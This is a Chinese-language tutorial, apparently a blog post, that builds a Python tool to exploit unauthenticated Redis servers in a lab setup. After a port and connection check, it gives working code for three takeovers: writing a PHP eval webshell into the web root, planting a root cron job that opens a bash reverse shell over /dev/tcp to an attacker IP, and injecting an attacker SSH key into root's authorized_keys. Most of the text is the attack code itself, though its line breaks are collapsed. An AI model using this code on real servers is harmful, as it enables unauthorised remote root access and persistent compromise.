之前介绍过Redis未授权访问漏洞，本文使用python实现Redis未授权访问检测以及对应三种getshell。

1 测试环境准备

CentOS 7（192.168.198.66/24）：安装 Redis 服务器并用 root 权限开启服务，关闭保护模式；安装并开启 httpd 服务；开启 ssh 服务。

Kali（192.168.198.172/24）：测试脚本效果，模拟攻击机。

Win10：VS Code开发脚本，Xshell控制虚拟机。

2 未授权访问检测

首先需要检测 6379 端口是否开启，直接使用 socket 连接测试即可，is_port_open() 函数实现检测端口开启情况。

def is_port_open(host,port):s=socket.socket()s.settimeout(0.3)try:s.connect((host,port))except Exception as e:return Falseelse:return Truefinally:s.close()

然后尝试连接 Redis 服务器，这里用到redis模块中的StrictRedis(host,port,socket_timeout)，通过client_list() 方法获取客户列表查看是否连接成功。如果成功连接到 Redis 服务器， client_list() 的调用就不会抛出异常。

try:client = redis.StrictRedis(host=ip, port=port, socket_timeout=0.3)ok_lst = client.client_list()print('[+] Connected to the Redis server successfully...')
except Exception as e:print(f'[-] An unexpected error occurred: {e}')

3 写入webshell

Redis命令：

config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST[123]); ?>"
save

对应的 redis 模块的方法：

client.config_set('dir','/var/www/html')
client.config_set('dbfilename','shell.php')
client.set('x','<?php @eval($_POST[123]); ?>')
client.save()

增加设置根目录一句话木马名称和密码功能：

def Webshell(client):try:df_dir='/var/www/html'web_dir=input('Please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n')web_dir=web_dir.strip()if not web_dir: web_dir=df_dirname=input('Please enter the name of the PHP file you want to upload: ')passwd=input('Please enter the connection password: ')client.config_set('dir',web_dir)client.config_set('dbfilename',name+'.php')client.set('x','<?php @eval($_POST['+passwd+']); ?>')client.save()print("[+] Webshell "+name+".php"+" uploaded successfully...")except Exception as e:print(f"[-] Webshell upload failed: {e}")

4 建立反弹连接

同理，这里利用定时任务实现反弹连接。先设置 Redis 数据库目录到系统定时任务目录，名字设置为 root （相当于修改 root 用户的定时任务），增加用户设定 IP 和端口监听功能。

def Reverse(client):try:client.config_set('dir','/var/spool/cron')client.config_set('dbfilename','root')ip=input('Set the attacker\'s IP address: ')port=input('Set the listening port: ')payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n'client.set('x',payload)client.save()print("[+] Reverse shell task created successfully...")except Exception as e:print(f"[-] Reverse shell creation failed: {e}")

5 SSH keys 免密登录

把 Redis 的目录设置为 /root/.ssh，保存文件为 authorized_keys，实现在靶机中 authorized_keys 写入攻击者 ssh 公钥。

def Ssh(client):try:sshkey=input('Enter the SSH key you have generated: ')client.config_set('dir','/root/.ssh')client.config_set('dbfilename','authorized_keys')client.set('x','\n\n'+sshkey+'\n\n')client.save()print("[+] SSH key injected successfully.")except Exception as e:print(f"[-] SSH key injection failed: {e}")
